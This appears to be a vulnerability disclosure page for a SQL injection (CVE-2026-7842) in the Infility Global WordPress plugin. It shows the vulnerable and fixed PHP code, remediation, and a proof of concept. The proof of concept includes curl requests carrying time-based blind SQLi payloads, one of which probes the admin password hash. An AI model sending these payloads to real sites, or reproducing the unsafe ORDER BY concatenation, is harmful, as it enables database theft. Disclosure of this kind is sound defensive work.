Skip to content
FortressDiscuss your projectMenu

CVE-2026-7842

Infility Global: Editor+ SQL Injection via orderby Parameter

Product
Infility Global (WordPress plugin)
Versions
Before 2.15.20 · fixed in 2.15.20
Severity
MediumCVSS score 6.8 · WPScan
CVE
CVE-2026-7842, assigned by WPScan
Found by
Mustafa Ahmed, Fortress MSSP
Published
November 11, 2026CVE published by WPScan on June 23, 2026

Description

The Infility Global Infility Global WordPress plugin before 2.15.20 for WordPress does not sanitize or validate the orderby and order parameters in the import_list(), url_detail(), and file_detail() admin page callbacks before using them in SQL queries, allowing authenticated attackers with Editor-level access or higher to perform time-based blind SQL injection and extract sensitive data from the database. The ImportData module must be enabled via the Infility Global WordPress plugin before 2.15.20's module toggle page.

From the CVE record · CWE-89 SQL Injection

Technical analysis

In import_list(), the orderby and order query string values are passed through esc_sql() and then concatenated directly into an ORDER BY clause. esc_sql() only escapes characters such as quotes and backslashes for use inside quoted string literals, so it does not stop an unquoted SQL expression, such as a subquery, from being placed after ORDER BY. The $order fragment is part of the query text itself rather than a $wpdb->prepare() placeholder, so the supplied expression is executed by get_results().

Vulnerable: widgets/infility-import-data/infility-import-data.php, version 2.15.19
        $order = '';

        if(!empty($_GET['orderby'])){

            $orderby = esc_sql($_GET['orderby']);

            $order_dir = esc_sql($_GET['order']);

            $order = 'ORDER BY '.$orderby.' '.$order_dir;

        }



        $tableName = $wpdb->prefix.'import_list';

        $sql = "SELECT * FROM $tableName $where $order";

        if(!empty($prepare_args)){

            $sql = $wpdb->prepare($sql, $prepare_args);

        }

        $data = $wpdb->get_results($sql,ARRAY_A);

2.15.20 replaces the concatenation with an 'ORDER BY %s %s' template and appends the two values to $prepare_args, so $wpdb->prepare() binds them as quoted string literals instead of splicing them into the SQL as raw expressions.

Fixed: widgets/infility-import-data/infility-import-data.php, version 2.15.20
        $order = '';

        if(!empty($_GET['orderby'])){

            $order = 'ORDER BY %s %s';

            $prepare_args[] = esc_sql($_GET['orderby']);

            $prepare_args[] = esc_sql($_GET['order']);

        }



        $tableName = $wpdb->prefix.'import_list';

        $sql = "SELECT * FROM $tableName $where $order";

        if(!empty($prepare_args)){

            $sql = $wpdb->prepare($sql, $prepare_args);

        }

        $data = $wpdb->get_results($sql,ARRAY_A);

Fortress’s reading of the public source code at the versions shown.

Proof of concept

As published by WPScan in its advisory on June 2, 2026.

Prerequisites:
- Enable the ImportData module on the plugin's toggle page (wp-admin/admin.php?page=infility_global, click the ImportData toggle to ON)
- At least one import must exist (use the plugin's import feature to create one)

1. Log in as an Editor user
2. Navigate to the Infility Import page (wp-admin/admin.php?page=infility_import)
3. Append a SLEEP payload to the orderby parameter:

curl -b cookies.txt 'https://{TARGET}/wp-admin/admin.php?page=infility_import&orderby=(SELECT+SLEEP(3))&order=ASC'

4. The response takes ~3 seconds (vs ~0.04s baseline), confirming the injection

5. Data extraction example (checks if admin password hash length > 10):

curl -b cookies.txt 'https://{TARGET}/wp-admin/admin.php?page=infility_import&orderby=(SELECT+IF((SELECT+LENGTH(user_pass)+FROM+wp_users+WHERE+ID=1)>10,SLEEP(2),0))&order=ASC'

6. Response takes ~2 seconds, confirming conditional data extraction is possible

Severity

WPScan rates it 6.8 (medium). CISA’s ADP scores it 6.8 (medium) in the CVE record.

  • CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:NCISA ADP

Remediation

Update Infility Global to 2.15.20 or later.

Disclosure timeline

  1. CVE ID reserved by WPScan.
  2. Fix committed to the plugin repository (r3549956).
  3. WPScan advisory published.
  4. CVE published by WPScan.
  5. Published on this site.

Credit

Found and reported by Mustafa Ahmed of Fortress MSSP. The CVE record credits Mustafa Ahmed as finder and WPScan as coordinator.

WPScan's advisory lists Mustafa Ahmed as original researcher and submitter, with fortressmssp.com as the submitter's website.

References